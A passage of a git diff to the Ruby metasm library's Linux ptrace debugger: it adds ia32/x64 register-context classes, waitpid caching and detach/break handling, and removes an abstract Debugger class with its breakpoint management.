||= do_getxmm + fu = @xmm_st.st_space + fu[4*i] = v & 0xffff_ffff + fu[4*i + 1] = (v >> 32) & 0xffff_ffff + do_setxmm + when /^xmm(\d+)$/i + i = $1.to_i + @xmm_st ||= do_getxmm + fu = @xmm_st.xmm_space + fu[4*i] = v & 0xffff_ffff + fu[4*i + 1] = (v >> 32) & 0xffff_ffff + fu[4*i + 2] = (v >> 64) & 0xffff_ffff + fu[4*i + 3] = (v >> 96) & 0xffff_ffff + do_setxmm + # TODO when /^ymm(\d+)$/i + else raise "unknown register name #{r}" + end + end + end +end + +class PTraceContext_X64 < PTraceContext_Ia32 + C_STRUCT = < true } + @gpr_peek = @@gpr_peek_x64 ||= (0..7).inject({}) { |h, i| + h.update "dr#{i}".to_sym => REGS_X86_64["DR#{i}"] } + @gpr_sub = @@gpr_sub_x64 ||= gpr_sub_init + @xmm = @@xmm_x64 ||= [:cwd, :swd, :twd, :fop, :rip, :rdp, :mxcsr, + :mxcsr_mask].inject({}) { |h, r| h.update r => true } + @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_x64'] + @gpr_st = @xmm_st = nil + end + + def gpr_sub_init + ret = {} + %w[a b c d].each { |r| + b = "r#{r}x".to_sym + ret["e#{r}x".to_sym] = [b, 0xffff_ffff] + ret[ "#{r}x".to_sym] = [b, 0xffff] + ret[ "#{r}l".to_sym] = [b, 0xff] + ret[ "#{r}h".to_sym] = [b, 0xff, 8] + } + %w[sp bp si di].each { |r| + b = "r#{r}".to_sym + ret["e#{r}".to_sym] = [b, 0xffff_ffff] + ret[ "#{r}".to_sym] = [b, 0xffff] + ret["#{r}l".to_sym] = [b, 0xff] + } + (8..15).each { |i| + b = "r#{i}".to_sym + ret["r#{i}d"] = [b, 0xffff_ffff] + ret["r#{i}w"] = [b, 0xffff] + ret["r#{i}b"] = [b, 0xff] + } + ret[:eip] = [:rip, 0xffff_ffff] + ret[:eflags] = [:rflags, 0xffff_ffff] + ret[:orig_eax] = [:orig_rax, 0xffff_ffff] + ret + end + + def do_getregs + st = cp.alloc_c_struct('user_regs_struct_x64') + getregs(st) + st + end + + def do_setregs(st=@gpr_st) + setregs(st) + end + + def do_getxmm + st = cp.alloc_c_struct('user_i387_struct_x64') + getfpregs(st) + st + end + + def do_setxmm(st=@xmm_st) + setfpregs(st) + end +end + module ::Process WALL = 0x40000000 if not defined? WALL WCLONE = 0x80000000 if not defined? WCLONE @@ -683,10 +1095,10 @@ end # this class implements a high-level API over the ptrace debugging primitives class LinDebugger < Debugger # ptrace is per-process or per-thread ? - attr_accessor :ptrace, :continuesignal, :has_pax_mprotect, :target_syscall + attr_accessor :ptrace, :continuesignal, :has_pax_mprotect, :target_syscall, :cached_waitpid attr_accessor :callback_syscall, :callback_branch, :callback_exec - def initialize(pidpath=nil) + def initialize(pidpath=nil, &b) super() @pid_stuff_list << :has_pax_mprotect << :ptrace << :breaking << :os_process @tid_stuff_list << :continuesignal << :saved_csig << :ctx << :target_syscall @@ -696,15 +1108,14 @@ class LinDebugger < Debugger @callback_syscall = lambda { |i| log "syscall #{i[:syscall]}" } @callback_exec = lambda { |i| log "execve #{os_process.path}" } + @cached_waitpid = [] return if not pidpath - begin - pid = Integer(pidpath) - attach(pid) - rescue ArgumentError - create_process(pidpath) - end + t = begin; Integer(pidpath) + rescue ArgumentError, TypeError + end + t ? attach(t) : create_process(pidpath, &b) end def shortname; 'lindbg'; end @@ -715,11 +1126,18 @@ class LinDebugger < Debugger set_context(pt.pid, pt.pid) # swapout+init_newpid log "attached #@pid" list_threads.each { |tid| attach_thread(tid) if tid != @pid } + set_tid @pid end # create a process and debug it - def create_process(path) - pt = PTrace.new(path, :create) + # if given a block, the block is run in the context of the ruby subprocess + # after the fork() and before exec()ing the target binary + # you can use it to eg tweak file descriptors: + # tg_stdin_r, tg_stdin_w = IO.pipe + # create_process('/bin/cat') { tg_stdin_w.close ; $stdin.reopen(tg_stdin_r) } + # tg_stdin_w.write 'lol' + def create_process(path, &b) + pt = PTrace.new(path, :create, &b) # TODO save path, allow restart etc set_context(pt.pid, pt.pid) # swapout+init_newpid log "attached #@pid" @@ -727,10 +1145,10 @@ class LinDebugger < Debugger def initialize_cpu @cpu = os_process.cpu - # need to init @ptrace here, before init_dasm calls gui.swapin + # need to init @ptrace here, before init_dasm calls gui.swapin XXX this stinks @ptrace = PTrace.new(@pid, false) if @cpu.size == 64 and @ptrace.reg_off['EAX'] - hack_64_32 + hack_x64_32 end set_tid @pid set_thread_options @@ -764,29 +1182,35 @@ class LinDebugger < Debugger os_process.modules end - # we're a 32bit process debugging a 64bit target + # We're a 32bit process debugging a 64bit target # the ptrace kernel interface we use only allow us a 32bit-like target access - # with this we advertize the cpu as having eax..edi registers (the only one we + # With this we advertize the cpu as having eax..edi registers (the only one we # can access), while still decoding x64 instructions (whose addr < 4G) - def hack_64_32 + def hack_x64_32 log "WARNING: debugging a 64bit process from a 32bit debugger is a very bad idea !" - @cpu.instance_eval { - ia32 = Ia32.new - @dbg_register_pc = ia32.dbg_register_pc - @dbg_register_flags = ia32.dbg_register_flags - @dbg_register_list = ia32.dbg_register_list - @dbg_register_size = ia32.dbg_register_size - } + ia32 = Ia32.new + @cpu.instance_variable_set('@dbg_register_pc', ia32.dbg_register_pc) + @cpu.instance_variable_set('@dbg_register_sp', ia32.dbg_register_sp) + @cpu.instance_variable_set('@dbg_register_flags', ia32.dbg_register_flags) + @cpu.instance_variable_set('@dbg_register_list', ia32.dbg_register_list) + @cpu.instance_variable_set('@dbg_register_size', ia32.dbg_register_size) end # attach a thread of the current process def attach_thread(tid) set_tid tid @ptrace.pid = tid - @ptrace.attach - @state = :stopped # no need to wait() + @ptrace.attach + @state = :stopped + # store this waitpid so that we can return it in a future check_target + ::Process.waitpid(tid, ::Process::WALL) + # XXX can $? be safely stored? + @cached_waitpid << [tid, $?.dup] log "attached thread #{tid}" set_thread_options + rescue Errno::ESRCH + # raced, thread quitted already + del_tid end # set the debugee ptrace options (notify clone/exec/exit, and fork/vfork depending on @trace_children) @@ -807,27 +1231,23 @@ class LinDebugger < Debugger super() end - # a hash of the current thread context - # TODO keys = :gpr, :fpu, :xmm, :dr ; val = AllocCStruct - # include accessors for st0/xmm12 (@ptrace.getfpregs.unpack etc) + # current thread register values accessor def ctx - @ctx ||= {} + @ctx ||= case @ptrace.host_csn + when 'ia32'; PTraceContext_Ia32.new(@ptrace, @tid) + when 'x64'; PTraceContext_X64.new(@ptrace, @tid) + else raise '8==D' + end end def get_reg_value(r) - raise "bad register #{r}" if not k = @ptrace.reg_off[r.to_s.upcase] - return ctx[r] || 0 if @state != :stopped - @ptrace.pid = @tid - ctx[r] ||= @ptrace.peekusr(k) + return 0 if @state != :stopped + ctx.get_reg(r) rescue Errno::ESRCH 0 end def set_reg_value(r, v) - raise "bad register #{r}" if not k = @ptrace.reg_off[r.to_s.upcase] - ctx[r] = v - return if @state != :stopped - @ptrace.pid = @tid - @ptrace.pokeusr(k, v) + ctx.set_reg(r, v) end def update_waitpid(status) @@ -851,14 +1271,14 @@ class LinDebugger < Debugger end elsif status.stopped? sig = status.stopsig & 0x7f - signame = PTrace::SIGNAL[sig] + signame = PTrace::SIGNAL[sig] if signame == 'TRAP' if status.stopsig & 0x80 > 0 # XXX int80 in x64 => syscallnr32 ? evt_syscall info.update(:syscall => @ptrace.syscallnr[get_reg_value(@ptrace.syscallreg)]) elsif (status >> 16) > 0 - case o = PTrace::WAIT_EXTENDEDRESULT[status >> 16] + case PTrace::WAIT_EXTENDEDRESULT[status >> 16] when 'EVENT_FORK', 'EVENT_VFORK' # parent notification of a fork # child receives STOP (may have already happened) @@ -870,6 +1290,7 @@ class LinDebugger < Debugger resume_badbreak when 'EVENT_EXIT' + @ptrace.pid = @tid info.update :exitcode => @ptrace.geteventmsg if @tid == @pid evt_endprocess info @@ -885,6 +1306,7 @@ class LinDebugger < Debugger end else + @ptrace.pid = @tid si = @ptrace.getsiginfo case si.si_code when PTrace::SIGINFO['BRKPT'], @@ -900,7 +1322,7 @@ class LinDebugger < Debugger @saved_csig = @continuesignal = sig info.update :signal => signame, :type => "SIG#{signame}" evt_exception info - end + end end elsif signame == 'STOP' and @info == 'new' @@ -908,26 +1330,28 @@ class LinDebugger < Debugger if @pid == @tid attach(@pid, false) evt_newprocess info - else + else evt_newthread info end elsif signame == 'STOP' and @breaking @state = :stopped @info = 'break' - @breaking = nil + @breaking.call if @breaking.kind_of? Proc + @breaking = nil - else + else @saved_csig = @continuesignal = sig info.update :signal => signame, :type => "SIG#{signame}" if signame == 'SEGV' # need more data on access violation (for bpm) info.update :type => 'access violation' + @ptrace.pid = @tid si = @ptrace.getsiginfo access = case si.si_code when PTrace::SIGINFO['MAPERR']; :r # XXX write access to unmapped => ? when PTrace::SIGINFO['ACCERR']; :w - end + end info.update :fault_addr => si.si_addr, :fault_access => access end evt_exception info @@ -937,36 +1361,53 @@ class LinDebugger < Debugger evt_exception info.update(:type => "unknown wait #{status.inspect}") end end - + def set_tid_findpid(tid) return if tid == @tid - if tid != @pid and pr = list_processes.find { |p| p.threads.include? tid } - set_pid pr.pid + if tid != @pid and !@tid_stuff[tid] + if kv = @pid_stuff.find { |k, v| v[:tid_stuff] and v[:tid_stuff][tid] } + set_pid kv[0] + elsif pr = list_processes.find { |p| p.threads.include?(tid) } + set_pid pr.pid + end end set_tid tid end def do_check_target - return unless t = ::Process.waitpid(-1, ::Process::WNOHANG | ::Process::WALL) - # XXX all threads may have stopped, wait them now ? + if @cached_waitpid.empty? + t = ::Process.waitpid(-1, ::Process::WNOHANG | ::Process::WALL) + st = $? + else + t, st = @cached_waitpid.shift + end + return if not t set_tid_findpid t - update_waitpid $? + update_waitpid st + true rescue ::Errno::ECHILD end def do_wait_target - t = ::Process.waitpid(-1, ::Process::WALL) + if @cached_waitpid.empty? + t = ::Process.waitpid(-1, ::Process::WALL) + st = $? + else + t, st = @cached_waitpid.shift + end set_tid_findpid t - update_waitpid $? + update_waitpid st rescue ::Errno::ECHILD end def do_continue + @state = :running @ptrace.pid = tid @ptrace.cont(@continuesignal) end def do_singlestep(*a) + @state = :running @ptrace.pid = tid @ptrace.singlestep(@continuesignal) end @@ -975,10 +1416,21 @@ class LinDebugger < Debugger # regexp allowed to wait a specific syscall def syscall(arg=nil) arg = nil if arg and arg.strip == '' - return if not check_pre_run(:syscall, arg) - @target_syscall = arg - @ptrace.pid = @tid - @ptrace.syscall(@continuesignal) + if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } + singlestep_bp(b) { + next if not check_pre_run(:syscall, arg) + @target_syscall = arg + @state = :running + @ptrace.pid = @tid + @ptrace.syscall(@continuesignal) + } + else + return if not check_pre_run(:syscall, arg) + @target_syscall = arg + @state = :running + @ptrace.pid = @tid + @ptrace.syscall(@continuesignal) + end end def syscall_wait(*a, &b) @@ -990,9 +1442,19 @@ class LinDebugger < Debugger def singleblock # record as singlestep to avoid evt_singlestep -> evt_exception # step or block doesn't matter much here anyway - return if not check_pre_run(:singlestep) - @ptrace.pid = @tid - @ptrace.singleblock(@continuesignal) + if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } + singlestep_bp(b) { + next if not check_pre_run(:singlestep) + @state = :running + @ptrace.pid = @tid + @ptrace.singleblock(@continuesignal) + } + else + return if not check_pre_run(:singlestep) + @state = :running + @ptrace.pid = @tid + @ptrace.singleblock(@continuesignal) + end end def singleblock_wait(*a, &b) @@ -1034,8 +1496,8 @@ class LinDebugger < Debugger # calling continue() here will loop back to TRAP+INFO_EXEC end - def break - @breaking = true + def break(&b) + @breaking = b || true kill 'STOP' end @@ -1051,26 +1513,41 @@ class LinDebugger < Debugger @continuesignal = @saved_csig else @continuesignal = 0 - end - end + end + end def sig2signr(sig) case sig when nil, ''; 9 when Integer; sig when String - sig = sig.upcase.sub(/^SIG_?/, '') + sig = sig.upcase.sub(/^SIG_?/, '') PTrace::SIGNAL[sig] || Integer(sig) else raise "unhandled signal #{sig.inspect}" - end + end end # stop debugging the current process def detach + if @state == :running + # must be stopped so we can rm bps + self.break { detach } + mypid = @pid + wait_target + + # after syscall(), wait will return once for interrupted syscall, + # and we need to wait more for the break callback to kick in + if @pid == mypid and @state == :stopped and @info =~ /syscall/ + do_continue + check_target + end + + return + end del_all_breakpoints each_tid { @ptrace.pid = @tid - @ptrace.detach + @ptrace.detach rescue nil @delete_thread = true } del_pid diff --git a/lib/metasm/metasm/os/main.rb b/lib/metasm/metasm/os/main.rb index c501dc6502..97919afc36 100644 --- a/lib/metasm/metasm/os/main.rb +++ b/lib/metasm/metasm/os/main.rb @@ -51,11 +51,19 @@ class OS pr end + # return 'winos' or 'linos' depending on the underlying OS + def self.shortname + case RUBY_PLATFORM + when /mswin|mingw|cygwin/i; 'winos' + when /linux/i; 'linos' + end + end + # return the platform-specific version def self.current - case RUBY_PLATFORM - when /mswin|mingw|cygwin/i; WinOS - when /linux/i; LinOS + case shortname + when 'winos'; WinOS + when 'linos'; LinOS end end end @@ -161,6 +169,17 @@ class VirtualString end end + def rindex(chr, max=length) + return if max > length + if max > 64 and i = self[max-64, 64].rindex(chr) + max - 64 + i + elsif max > @pagelength and i = self[max-@pagelength, @pagelength].rindex(chr) + max - @pagelength + i + else + realstring.rindex(chr, max) + end + end + # '=~' does not go through method_missing def =~(o) realstring =~ o @@ -264,7 +283,7 @@ class VirtualFile < VirtualString if sz = File.size(path) <= 4096 and (mode == 'rb' or mode == 'r') File.open(path, mode) { |fd| fd.read } else - File.open(path, mode) { |fd| new fd, 0, sz } + File.open(path, mode) { |fd| new fd.dup, 0, sz } end end @@ -274,7 +293,7 @@ class VirtualFile < VirtualString # creates a new virtual mapping of a section of the file # the file descriptor must be seekable def initialize(fd, addr_start = 0, length = nil) - @fd = fd.dup + @fd = fd if not length @fd.seek(0, File::SEEK_END) length = @fd.tell - addr_start @@ -308,1379 +327,4 @@ class VirtualFile < VirtualString @fd.read(@length) end end - -# this class implements a high-level debugging API (abstract superclass) -class Debugger - class Breakpoint - attr_accessor :address, - # context where the bp was defined - :pid, :tid, - # bool: oneshot ? - :oneshot, - # current bp state: :active, :inactive (internal use), :disabled (user-specified) - :state, - # type: type of breakpoint (:bpx = soft, :hw = hard) - :type, - # Expression if this is a conditionnal bp - # may be a Proc, String or Expression, evaluated every time the breakpoint hits - # if it returns 0 or false, the breakpoint is ignored - :condition, - # Proc to run if this bp has a callback - :action, - # Proc to run to emulate the overwritten instr behavior - # used to avoid unset/singlestep/re-set, more multithread friendly - :emul_instr, - # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..) - :internal, - # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...) - # shared is an array of Breakpoints, the same Array object in all shared breakpoints - # owner is a hash key => shared (dbg.breakpoint) - # key is an identifier for the Bp class in owner (bp.address) - :hash_shared, :hash_owner, :hash_key, - # user-defined breakpoint-specific stuff - :userdata - - # append the breakpoint to hash_owner + hash_shared - def add(owner=@hash_owner) - @hash_owner = owner - @hash_key ||= @address - return add_bpm if @type == :bpm - if pv = owner[@hash_key] - @hash_shared = pv.hash_shared - @internal ||= pv.internal - @emul_instr ||= pv.emul_instr - else - owner[@hash_key] = self - @hash_shared = [] - end - @hash_shared << self - end - - # register a bpm: add references to all page start covered in @hash_owner - def add_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared = [self] - - @internal ||= {} - @internal[:orig_prot] ||= {} - while a < m - if pv = @hash_owner[a] - if not pv.hash_shared.include?(self) - pv.hash_shared.concat @hash_shared-pv.hash_shared - @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared } - end - @internal[:orig_prot][a] = pv.internal[:orig_prot][a] - else - @hash_owner[a] = self - end - a += 0x1000 - end - end - - # delete the breakpoint from hash_shared, and hash_owner if empty - def del - return del_bpm if @type == :bpm - @hash_shared.delete self - if @hash_shared.empty? - @hash_owner.delete @hash_key - elsif @hash_owner[@hash_key] == self - @hash_owner[@hash_key] = @hash_shared.first - end - end - - # unregister a bpm - def del_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared.delete self - while a < m - pv = @hash_owner[a] - if pv == self - if opv = @hash_shared.find { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a - } - @hash_owner[a] = opv - else - @hash_owner.delete a - - # split hash_shared on disjoint ranges - prev_shared = @hash_shared.find_all { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a - } - - prev_shared.each { |bpm| - bpm.hash_shared = prev_shared - @hash_shared.delete bpm - } - end - end - a += 0x1000 - end - end - end - - # per-process data - attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory, - :modulemap, :symbols, :symbols_len - # per-thread data - attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method, - :run_args, :breakpoint_cause - - # which/where per-process/thread stuff is stored - attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list - - # global debugger callbacks, called whenever such event occurs - attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm, - :callback_exception, :callback_newthread, :callback_endthread, - :callback_newprocess, :callback_endprocess, :callback_loadlibrary - - # global switches, specify wether to break on exception/thread event - # can be a Proc that is evaluated (arg = info parameter of the evt_func) - # trace_children is a bool to tell if we should debug subprocesses spawned - # by the target - attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread, - :trace_children - - # link to the user-interface object if available - attr_accessor :gui - - # initializes the disassembler internal data - subclasses should call super() - def initialize - @pid_stuff = {} - @tid_stuff = {} - @log_proc = nil - @state = :dead - @info = '' - # stuff saved when we switch pids - @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len, - :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff, - :dead_process] - @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb, - :run_method, :run_args, :breakpoint_cause, :dead_thread] - @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue } - @callback_newprocess = lambda { |h| log "process #{@pid} created" } - @callback_endprocess = lambda { |h| log "process #{@pid} died" } - initialize_newpid - initialize_newtid - end - - def shortname; self.class.name.split('::').last.downcase; end - - attr_reader :pid - # change pid and associated cached data - # this will also re-load the previously selected tid for this process - def pid=(npid) - return if npid == pid - raise "invalid pid" if not check_pid(npid) - swapout_pid - @pid = npid - swapin_pid - end - alias set_pid pid= - - attr_reader :tid - def tid=(ntid) - return if ntid == tid - raise "invalid tid" if not check_tid(ntid) - swapout_tid - @tid = ntid - swapin_tid - end - alias set_tid tid= - - # creates stuff related to a new process being debugged - # includes disassembler, modulemap, symbols, breakpoints - # subclasses should check that @pid maps to a real process and raise() otherwise - # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu - def initialize_newpid - return if not pid - @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @symbols = {} - @symbols_len = {} - @modulemap = {} - @breakpoint = {} - @breakpoint_memory = {} - @tid_stuff = {} - initialize_cpu - initialize_memory - initialize_disassembler - end - - # subclasses should check that @tid maps to a real thread and raise() otherwise - def initialize_newtid - return if not tid - @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @state = :stopped - @info = 'new' - @breakpoint_thread = {} - gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid) - end - - # initialize the disassembler from @cpu/@memory - def initialize_disassembler - return if not @memory or not @cpu - @disassembler = Shellcode.decode(@memory, @cpu).disassembler - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one pid to another, save current pid data - def swapout_pid - return if not pid - swapout_tid - gui.swapout_pid if gui.respond_to?(:swapout_pid) - @pid_stuff[@pid] ||= {} - @pid_stuff_list.each { |fld| - @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one tid to another, save current tid data - def swapout_tid - return if not tid - gui.swapout_tid if gui.respond_to?(:swapout_tid) - @tid_stuff[@tid] ||= {} - @tid_stuff_list.each { |fld| - @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one pid to another, load current pid data - def swapin_pid - return initialize_newpid if not @pid_stuff[@pid] - - @pid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @pid_stuff[@pid][fld]) - } - swapin_tid - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one tid to another, load current tid data - def swapin_tid - return initialize_newtid if not @tid_stuff[@tid] - - @tid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @tid_stuff[@tid][fld]) - } - gui.swapin_tid if gui.respond_to?(:swapin_tid) - end - - # delete references to the current pid - # switch to another pid, set @state = :dead if none available - def del_pid - @pid_stuff.delete @pid - if @pid = @pid_stuff.keys.first - swapin_pid - else - @state = :dead - @info = '' - @tid = nil - end - end - - # delete references to the current thread - # calls del_pid if no tid left - def del_tid - @tid_stuff.delete @tid - if @tid = @tid_stuff.keys.first - swapin_tid - else - del_pid - end - end - - # change the debugger to a specific pid/tid - # if given a block, run the block and then restore the original pid/tid - # pid may be an object that respond to #pid/#tid - def switch_context(npid, ntid=nil) - if npid.respond_to? :pid - ntid ||= npid.tid - npid = npid.pid - end - oldpid = pid - oldtid = tid - set_pid npid - set_tid ntid if ntid - if block_given? - # shortcut begin..ensure overhead - return yield if oldpid == pid and oldtid == tid - - begin - yield - ensure - set_pid oldpid - set_tid oldtid - end - end - end - alias set_context switch_context - - # iterate over all pids, yield in the context of this pid - def each_pid - # ensure @pid is last, so that we finish in the current context - lst = @pid_stuff.keys - [@pid] - lst << @pid - return lst if not block_given? - lst.each { |p| - set_pid p - yield - } - end - - # iterate over all tids of the current process, yield in its context - def each_tid - lst = @tid_stuff.keys - [@tid] - lst << @tid - return lst if not block_given? - lst.each { |t| - set_tid t - yield - } - end - - # iterate over all tids of all pids, yield in their context - def each_pid_tid - each_pid { each_tid { yield } } - end - - - # create a thread/process breakpoint - # addr can be a numeric address, an Expression that is resolved, or - # a String that is parsed+resolved - # info's keys are set to the breakpoint - # standard keys are :type, :oneshot, :condition, :action - # returns the Breakpoint object - def add_bp(addr, info={}) - info[:pid] ||= @pid - info[:tid] ||= @tid if info[:pid] == @pid - - b = Breakpoint.new - info.each { |k, v| - b.send("#{k}=", v) - } - - switch_context(b) { - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - b.address = addr - - b.hash_owner ||= case b.type - when :bpm; @breakpoint_memory - when :hwbp; @breakpoint_thread - when :bpx; @breakpoint - end - # XXX bpm may hash_share with an :active, but be larger and still need enable() - b.add - - enable_bp(b) if not info[:state] - } - - b - end - - # remove a breakpoint - def del_bp(b) - disable_bp(b) - b.del - end - - # activate an inactive breakpoint - def enable_bp(b) - return if b.state == :active - if not b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - if not b.internal - init_bpx(b) if b.type == :bpx - b.internal ||= {} - b.hash_shared.each { |bb| bb.internal ||= b.internal } - end - do_enable_bp(b) - } - end - b.state = :active - end - - # deactivate an active breakpoint - def disable_bp(b, newstate = :inactive) - return if b.state != :active - b.state = newstate - return if b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - do_disable_bp(b) - } - end - - - # delete all breakpoints defined in the current thread - def del_all_breakpoints_thread - @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # delete all breakpoints for the current process and all its threads - def del_all_breakpoints - each_tid { del_all_breakpoints_thread } - @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp - def do_enable_bp(b) - if b.type == :bpm; do_enable_bpm(b) - else @cpu.dbg_enable_bp(self, b) - end - end - - # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp - def do_disable_bp(b) - if b.type == :bpm; do_disable_bpm(b) - else @cpu.dbg_disable_bp(self, b) - end - end - - # called in the context of the target when a bpx is to be initialized - # will disassemble the code pointed, and try to initialize #emul_instr - def init_bpx(b) - @disassembler.disassemble_fast_block(b.address) # XXX configurable dasm method - if di = @disassembler.di_at(b.address) and - fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and - not fdbd[:incomplete_binding] and not fdbd.index(Expression::Unknown) and - fdbd.keys.all? { |k| k.kind_of?(Symbol) or k.kind_of?(Indirection) } - -puts di.instruction, fdbd.inspect - b.emul_instr = lambda { |dbg| - resv = lambda { |e| - r = e - flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/ } - if flags.first - bd = {} - flags.each { |f| - f.to_s =~ /flags?_(.+)/ - bd[f] = dbg.get_flag_value($1.downcase.to_sym) - } - r = r.bind(bd) - end - dbg.resolve(r) - } - - fdbd.map { |k, v| - k = Indirection[resv[k.pointer], k.len] if k.kind_of?(Indirection) - [k, resv[v]] - }.each { |k, v| - if k.to_s =~ /flags?_(.+)/ - dbg.set_flag_value($1.downcase.to_sym, v) - elsif k.kind_of?(Symbol) - dbg.set_reg_value(k, v) - elsif k.kind_of?(Indirection) - dbg.memory_write_int(k.pointer, v, k.len) - end - } - } - b.hash_shared.each { |bb| bb.emul_instr = b.emul_instr } - end - end - - # sets a breakpoint on execution - def bpx(addr, oneshot=false, cond=nil, &action) - h = { :type => :bpx } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a hardware breakpoint - # mtype in :r :w :x - # mlen is the size of the memory zone to cover - # mlen may be constrained by the architecture - def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action) - h = { :type => :hwbp } - h[:hash_owner] = @breakpoint_thread - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - h[:hash_key] = [addr, mtype, mlen] - h[:internal] = { :type => mtype, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a memory breakpoint - # mtype is :r :w :rw or :x - # mlen is the size of the memory zone to cover - def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action) - h = { :type => :bpm } - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - h[:hash_key] = addr & -4096 # XXX actually referenced at addr, addr+4096, ... addr+len - h[:internal] = { :type => type, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - - # define the lambda to use to log stuff (used by #puts) - def set_log_proc(l=nil, &b) - @log_proc = l || b - end - - # show information to the user, uses log_proc if defined - def log(*a) - if @log_proc - a.each { |aa| @log_proc[aa] } - else - puts(*a) - end - end - - - # marks the current cache of memory/regs invalid - def invalidate - @memory.invalidate if @memory - end - - # invalidates the EncodedData backend for the dasm sections - def dasm_invalidate - disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to? :invalidate } - end - - # return all breakpoints set on a specific address (or all bp) - def all_breakpoints(addr=nil) - ret = [] - if addr - if b = @breakpoint[addr] - ret |= b.hash_shared - end - else - @breakpoint.each_value { |bb| ret |= bb.hash_shared } - end - - @breakpoint_thread.each_value { |bb| - next if addr and bb.address != addr - ret |= bb.hash_shared - } - - @breakpoint_memory.each_value { |m| - next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr) - ret |= bb.hash_shared - } - - ret - end - - def find_breakpoint(addr=nil) - return @breakpoint[addr] if @breakpoint[addr] and (not block_given? or yield(@breakpoint[addr])) - all_breakpoints(addr).find { |b| yield b } - end - - - # to be called right before resuming execution of the target - # run_m is the method that should be called if the execution is stopped - # due to a side-effect of the debugger (bpx with wrong condition etc) - # returns nil if the execution should be avoided (just deleted the dead thread/process) - def check_pre_run(run_m, *run_a) - if @dead_process - del_pid - return - elsif @dead_thread - del_tid - return - elsif @state == :running - return - end - @cpu.dbg_check_pre_run(self) if @cpu.respond_to?(:dbg_check_pre_run) - @breakpoint_cause = nil - @run_method = run_m - @run_args = run_a - @state = :running - @info = nil - true - end - - - # called when the target stops due to a singlestep exception - def evt_singlestep(b=nil) - b ||= find_singlestep - return evt_exception(:type => 'singlestep') if not b - - @state = :stopped - @info = 'singlestep' - @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep) - - callback_singlestep[] if callback_singlestep - - if cb = @singlestep_cb - @singlestep_cb = nil - cb.call # call last, as the cb may change singlestep_cb/state/etc - end - end - - # returns true if the singlestep is due to us - def find_singlestep - return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep) - @run_method == :singlestep - end - - # called when the target stops due to a soft breakpoint exception - def evt_bpx(b=nil) - b ||= find_bp_bpx - return evt_exception(:type => 'breakpoint') if not b - - @state = :stopped - @info = 'breakpoint' - @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx) - - callback_bpx[b] if callback_bpx - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_bpx - def find_bp_bpx - return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx) - @breakpoint[pc] - end - - # called when the target stops due to a hwbp exception - def evt_hwbp(b=nil) - b ||= find_bp_hwbp - return evt_exception(:type => 'hwbp') if not b - - @state = :stopped - @info = 'hwbp' - @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp) - - callback_hwbp[b] if callback_hwbp - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_hwbp - def find_bp_hwbp - return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_bpx) - @breakpoint_thread.find { |b| b.address == pc } - end - - # called for archs where the same interrupt is generated for 